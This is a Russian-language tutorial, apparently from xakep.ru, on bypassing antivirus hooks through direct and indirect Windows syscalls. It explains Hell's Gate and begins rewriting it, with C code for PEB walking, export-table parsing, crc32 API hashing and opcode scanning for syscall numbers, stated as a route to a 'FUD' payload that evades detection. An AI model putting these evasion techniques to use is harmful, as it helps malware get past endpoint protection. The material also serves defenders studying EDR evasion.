Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Хочешь узнать, как обойти антивирусные программы с помощью системных вызовов? Мы раскроем секреты этой захватывающей техники, перепишем известный инструмент, попрограммируем на ассемблере и поищем паттерны в памяти, чтобы получить FUD-пейлоад!
Многие антивирусные продукты (да и некоторые программы) любят ставить хуки. Я уже показывал вариант обхода хуков в User Mode через перезапись библиотеки ntdll.dll. Теперь изучим еще один способ обхода ловушек — через сисколы.
Сисколы (они же системные вызовы) — очень большая и интересная тема. Я постарался вкратце описать, что это и зачем они нужны. Если ты захочешь более глубоко погрузиться в тему, ниже найдешь несколько полезных ссылок.
www
Итак, сискол можно считать переходной стадией между пользовательским режимом (User Mode) и режимом ядра (Kernel Mode). Это как бы переход из одного мира системы в другой. Если еще проще, то сискол — просто обращение к ядру.
Вызовы ядра крайне важны для корректного функционирования системы. Например, именно заложенные в ядре функции позволяют создавать файлы. Каждый сискол однозначно идентифицируется по своему номеру. Этот номер называется по‑разному, где‑то Syscall Id, где‑то Syscall Number, где‑то SSN — System Service Number. Номер сискола подсказывает ядру, что ему нужно делать. Он заносится в регистр eax
, после чего выполняется инструкция syscall
, которая осуществляет переход в режим ядра.
Как выглядит вызов сисколов у разных функций
Проблема в том, что средства защиты могут ставить хуки непосредственно перед вызовом инструкции syscall
. Например, как на следующем скриншоте.
Инструкция jmp перед syscall
Это может свидетельствовать о наличии хука. Ничто не мешает нам напрямую вызывать инструкцию syscall
из адресного пространства своего процесса, такая техника называется Direct Syscall. Мы даже можем обращаться к инструкции syscall
, найдя ее адрес в смапленной в наш процесс библиотеке ntdll.dll
(такая техника называется Indirect Syscall). Проблема лишь одна — нужен SSN. Без номера сискола, сохраненного в регистре eax
, ничего не получится.
SSN различается от системы к системе. Он зависит от версии Windows. Есть отличная таблица актуальных сисколов, но каждый раз хардкодить SSN вообще не вариант. Поэтому давно придуманы способы динамически доставать номера сисколов, а затем уже с этими номерами выполнять Direct- или Indirect-вызовы.
Давай разберем один из самых известных методов — Hell’s Gate, а затем перепишем его под Tartarus Gate.
Техника обнаружения SSN достаточно проста. Сначала, чтобы получить загруженный в процесс адрес ntdll.dll
, программа достает адреса TEB (Thread Environment Block), за ним PEB (Process Environment Block). А после извлекает из таблицы PEB_LDR_DATA базовый адрес загрузки ntdll.dll
.
PTEB RtlGetThreadEnvironmentBlock() {#if _WIN64 return (PTEB)__readgsqword(0x30);#else return (PTEB)__readfsdword(0x16);#endif}INT wmain() { PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock(); PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock; if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA) return 0x1; PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10); ...}
Программа, зная базовый адрес загрузки библиотеки, получает адрес EAT (Export Address Table). В этой таблице содержатся адреса всех экспортируемых из библиотеки функций.
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) { // Get DOS header PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase; if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { return FALSE; } // Get NT headers PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew); if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) { return FALSE; } // Get the EAT *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); return TRUE;}
После успешного получения всех адресов идет инициализация специальной структуры — структуры VX_TABLE
.
typedef struct _VX_TABLE_ENTRY { PVOID pAddress; DWORD64 dwHash; WORD wSystemCall;} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;typedef struct _VX_TABLE { VX_TABLE_ENTRY NtAllocateVirtualMemory; VX_TABLE_ENTRY NtProtectVirtualMemory; VX_TABLE_ENTRY NtCreateThreadEx; VX_TABLE_ENTRY NtWaitForSingleObject;} VX_TABLE, * PVX_TABLE;
Таблица VX_TABLE
состоит из других структур VX_TABLE_ENTRY
. Внутри них будут заполнены элементы pAddress
, dwHash
и wSystemCall
, которые отвечают соответственно за адрес нужной функции, хеш от имени функции (он потребуется для API Hashing) и номера системного вызова.
Для обнаружения сискола используется функция GetVxTableEntry()
, но перед этим предварительно инициализируется элемент dwHash
описанной выше структуры. Хеш рассчитывается заранее. Для этого используется алгоритм djb2, вынесенный в отдельную функцию.
VX_TABLE Table = { 0 };Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory)) return 0x1;
GetVxTableEntry()
парсит EAT и обнаруживает адрес нужной функции с помощью API Hashing.
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) { pVxTableEntry->pAddress = pFunctionAddress; ...
После обнаружения нужной функции ее адрес записывается в таблицу, а затем ищется номер сискола для этой функции. Hell’s Gate ищет паттерн, характерный для вызова сискола.
mov r10,rcx
mov rcx,<syscall number>
Так выглядит шаблон вызова сискола
Для этого Hell’s Gate сканирует память на наличие соответствующих опкодов.
if (*((PBYTE)pFunctionAddress + cw) == 0x4c && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1 && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8 && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00 && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) { BYTE high = *((PBYTE)pFunctionAddress + 5 + cw); BYTE low = *((PBYTE)pFunctionAddress + 4 + cw); pVxTableEntry->wSystemCall = (high << 8) | low; break;}
Опкоды
Если паттерн найден, начинается вычленение номера сискола. Для наглядности возьмем сискол с «длинным» номером, например 10F
. В дизассемблере увидим интересную картину.
Как выглядит номер сискола в памяти
Инструкция, сохраняющая номер сискола в регистр eax
, выглядит вроде бы нормально, но если мы посмотрим внимательнее, то увидим, что номер сискола представлен как бы в перевернутом виде.
B8 0F010000
mov eax,10F # 0xb8 0x0F 0x01 0x00 0x00
Hell’s Gate знает о таком поведении системы, поэтому вычленяет сисколы с использованием специального алгоритма.
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);pVxTableEntry->wSystemCall = (high << 8) | low;break;
Если мы поставим бряк на предпоследнюю строчку кода, то увидим, что в high
попадает «верхняя» часть, а в low
— «нижняя».
Номер сискола
Что вычленяет Hell’s Gate
Соответственно, если алгоритм вычленяет SSN 10F
, то переменные инициализируются как 0x1
и 0xF
.
Инициализация и high, и low
В wSystemmCall
заносится значение high
со сдвигом влево на 8 байт. Это приводит к получению из 0000 0001
значения 1 0000 0000
. Следующим шагом выполняется побитовая операция ИЛИ со значением 0000 1111
(0xF
в двоичной системе счисления), в результате мы получаем 1 0000 1111
. А это, в свою очередь, равно 10F
. 10F
как раз и есть номер сискола.
Подсчет номера сискола
Дополнительно программа проверяет, не ушли ли мы в поиске номера сискола слишком далеко. Для этого также используются опкоды.
Dead Codes
Начнем с того, что сменим алгоритм djb2 на какой‑нибудь другой, например на crc32h. Это нужно, чтобы из нашего пейлоада пропали некоторые статик‑детекты, основанные на хешах используемых нами имен WinAPI-функций. Для этого создадим функцию, реализующую логику по хешированию.
#define SEED 0xEDB88320...unsigned int crc32h(char* message) { int i, crc; unsigned int byte, c; const unsigned int g0 = SEED, g1 = g0 >> 1, g2 = g0 >> 2, g3 = g0 >> 3, g4 = g0 >> 4, g5 = g0 >> 5, g6 = (g0 >> 6) ^ g0, g7 = ((g0 >> 6) ^ g0) >> 1; i = 0; crc = 0xFFFFFFFF; while ((byte = message[i]) != 0) { crc = crc ^ byte; c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^ ((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^ ((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^ ((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0); crc = ((unsigned)crc >> 8) ^ c; i = i + 1; } return ~crc;}
Конечно, можно было просто поменять SEED
-значение и рассчитываемый хеш в функции djb2()
, но мы все‑таки решили полноценно переписать инструмент, а не баловаться, меняя переменные.
Hash- и SEED-значения
Для удобства вызова и автоматического приведения к нужному типу создадим макрос.
#define HASH(API) crc32h((char*)API)
Так как мы пока незнакомы с Compile-Time API Hashing, напишем программу для пересчета хешей от нужных нам функций.
#include <Windows.h>#include <stdio.h>#define SEED 0xEDB88320#define STR "_CRC32"unsigned int crc32h(char* message) { int i, crc; unsigned int byte, c; const unsigned int g0 = SEED, g1 = g0 >> 1, g2 = g0 >> 2, g3 = g0 >> 3, g4 = g0 >> 4, g5 = g0 >> 5, g6 = (g0 >> 6) ^ g0, g7 = ((g0 >> 6) ^ g0) >> 1; i = 0; crc = 0xFFFFFFFF; while ((byte = message[i]) != 0) { crc = crc ^ byte; c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^ ((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^ ((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^ ((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0); crc = ((unsigned)crc >> 8) ^ c; i = i + 1; } return ~crc;}#define HASH(API) crc32h((char*)API)int main() { printf("#define %s%s t 0x%0.8X n", "NtAllocateVirtualMemory", STR, HASH("NtAllocateVirtualMemory")); printf("#define %s%s t 0x%0.8X n", "NtProtectVirtualMemory", STR, HASH("NtProtectVirtualMemory")); printf("#define %s%s t 0x%0.8X n", "NtCreateThreadEx", STR, HASH("NtCreateThreadEx")); printf("#define %s%s t 0x%0.8X n", "NtWaitForSingleObject", STR, HASH("NtWaitForSingleObject")); return 0;}
Новые хеши
Как ты помнишь, функция GetVxTableEntry()
используется для получения номера сискола. Проблема в том, что вызывается она далеко не один раз, но при каждом вызове идет повторный расчет всех нужных адресов, что сказывается на эффективности работы программы. Предлагаю завести отдельную структуру NTDLL_CONFIG
, внутри которой будут содержаться все эти данные. Их достаточно инициализировать лишь единожды, а затем можно просто обращаться к ним.
typedef struct _NTDLL_CONFIG{ PDWORD pdwArrayOfAddresses; PDWORD pdwArrayOfNames; PWORD pwArrayOfOrdinals; DWORD dwNumberOfNames; ULONG_PTR uModule;}NTDLL_CONFIG, *PNTDLL_CONFIG;// Глобальная переменная, которая будет все это хранитьNTDLL_CONFIG g_NtdllConf = { 0 };
Для инициализации достаточно один раз вызвать функцию InitNtdllConfigStructure()
.
BOOL InitNtdllConfigStructure() { // Получение peb PPEB pPeb = (PPEB)__readgsqword(0x60); if (!pPeb || pPeb->OSMajorVersion != 0xA) return FALSE; // Получение ntdll.dll (первый элемент. Нулевой — наша программа) PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10); // Получение базового адреса загрузки ntdll.dll ULONG_PTR uModule = (ULONG_PTR)(pLdr->DllBase); if (!uModule) return FALSE; // Получение DOS-хедера PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)uModule; if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) return FALSE; // Получение NT-заголовков PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uModule + pImgDosHdr->e_lfanew); if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) return FALSE; // Получение таблицы экспортов PIMAGE_EXPORT_DIRECTORY pImgExpDir = (PIMAGE_EXPORT_DIRECTORY)(uModule + pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); if (!pImgExpDir) return FALSE; // Инициализация всех элементов у глобальной переменной g_NtdllConf.uModule = uModule; g_NtdllConf.dwNumberOfNames = pImgExpDir->NumberOfNames; g_NtdllConf.pdwArrayOfNames = (PDWORD)(uModule + pImgExpDir->AddressOfNames); g_NtdllConf.pdwArrayOfAddresses = (PDWORD)(uModule + pImgExpDir->AddressOfFunctions); g_NtdllConf.pwArrayOfOrdinals = (PWORD)(uModule + pImgExpDir->AddressOfNameOrdinals); // Проверка if (!g_NtdllConf.uModule || !g_NtdllConf.dwNumberOfNames || !g_NtdllConf.pdwArrayOfNames || !g_NtdllConf.pdwArrayOfAddresses || !g_NtdllConf.pwArrayOfOrdinals) return FALSE; else return TRUE;}
Саму функцию GetVxTableEntry()
следует переименовать в FetchNtSyscall()
. Мы оставим всего два параметра: dwSysHash
(хеш‑значение от имени функции, которую нужно засисколить) и pNtSys
— указатель на структуру NT_SYSCALL
, которая будет содержать всю необходимую информацию для осуществления сискола.
typedef struct _NT_SYSCALL{ DWORD dwSSn; DWORD dwSyscallHash; PVOID pSyscallAddress;}NT_SYSCALL, *PNT_SYSCALL;
Функцию InitNtdllConfigStructure()
следует вызывать из функции FetchNtSyscall()
. Предлагаю просто проверять, инициализирован ли элемент, содержащий базовый адрес загрузки ntdll.dll
. Если нет, то вызываем функцию, если этот элемент уже имеет какое‑то значение, то вызов не требуется. Алгоритм для поиска сискола пока что не меняем.
BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) { if (!g_NtdllConf.uModule) { if (!InitNtdllConfigStructure()) return FALSE; } if (dwSysHash != NULL) pNtSys->dwSyscallHash = dwSysHash; else return FALSE; for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++) { PCHAR pcFuncName = (PCHAR)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfNames[i]); PVOID pFuncAddress = (PVOID)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfAddresses[g_NtdllConf.pwArrayOfOrdinals[i]]); if (HASH(pcFuncName) == dwSysHash) { pNtSys->pSyscallAddress = pFuncAddress; WORD cw = 0; while (TRUE) { ...тут алгоритм поиска сискола... } cw++; } break; } } // Если что-то не инициализировалось, то все плохо if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL && pNtSys->dwSyscallHash != NULL) return TRUE; else return FALSE;}
Hell’s Gate — один из простейших способов нахождения сискола. Проблема в том, что он просто пробегает по памяти в одном направлении, пытаясь обнаружить сискол. К сожалению, в современных реалиях этот вариант, мягко говоря, не самый рабочий. Что мешает антивирусному продукту внести некоторые изменения? Например, добавить лишнюю инструкцию, чтобы сломать поиск Hell’s Gate.
Неизмененную последовательность без проблем получится обнаружить, но если мы просто добавим лишние инструкции? Напомню, как выглядит паттерн, который ищет сискол.
0x4c 0x8b 0xd1 0xb8 ... 0x00 0x00
Неизмененный код
Источник: xakep.ru